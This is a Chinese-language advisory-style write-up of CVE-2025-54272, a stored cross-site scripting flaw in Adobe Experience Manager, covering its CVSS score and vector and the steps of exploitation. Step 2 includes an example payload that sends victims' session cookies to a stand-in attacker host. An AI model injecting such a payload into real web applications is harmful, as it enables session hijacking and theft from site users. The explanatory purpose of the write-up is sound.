CVE-2025-54272CVE-2025-54272是Adobe Experience Manager(AEM)11.6及更早版本中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞由Adobe产品安全事件响应团队([email protected])发现,并于2025年10月14日正式披露。根据CVSS 3.1评分体系,该漏洞评分为5.4分,属于中等严重等级。
该漏洞允许低权限攻击者通过向AEM中易受攻击的表单字段注入恶意JavaScript脚本来实施攻击。当受害者访问包含恶意脚本的页面时,注入的恶意代码将在其浏览器中执行。由于该漏洞属于存储型XSS,恶意脚本会被持久化存储在服务器端,因此每次受害者访问受影响的页面时都会触发恶意代码执行,而无需攻击者进行额外的交互操作。
该漏洞的利用需要用户交互,受害者必须主动打开攻击者构造的恶意链接才能触发攻击。攻击者需要具备低权限账户即可利用此漏洞,攻击成功后将导致受害者浏览器中执行任意JavaScript代码,可能造成会话劫持、敏感信息窃取、钓鱼攻击或恶意重定向等安全风险。漏洞的范围(Scope)标识为已改变(Changed),表明漏洞的影响超出了其直接组件的范围。
存储型XSS漏洞的核心原理在于Web应用程序对用户输入的数据缺乏充分的验证和过滤,导致恶意脚本被持久化存储在服务器端(如数据库、文件系统等),并在后续页面渲染时被原样输出到受害者的浏览器中执行。
在Adobe Experience Manager的具体场景中,攻击者利用流程如下:
1. 攻击者使用低权限账户登录AEM系统,定位到存在输入验证缺陷的表单字段;
2. 攻击者构造包含恶意JavaScript代码的payload,例如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;
3. 将恶意payload提交到表单字段,由于服务器端缺乏对HTML/JavaScript标签的过滤和转义处理,恶意代码被存储到后端数据库中;
4. 当其他用户(受害者)访问包含该字段内容的页面时,服务器将存储的恶意数据原样返回并嵌入到HTML响应中;
5. 受害者的浏览器解析该HTML并执行其中的恶意JavaScript代码,攻击者即可窃取会话Cookie、进行钓鱼攻击或执行其他恶意操作。
漏洞的CVSS向量为AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N,表明攻击通过网络进行、攻击复杂度低、需低权限认证、需要用户交互、范围改变、机密性和完整性影响低、无可用性影响。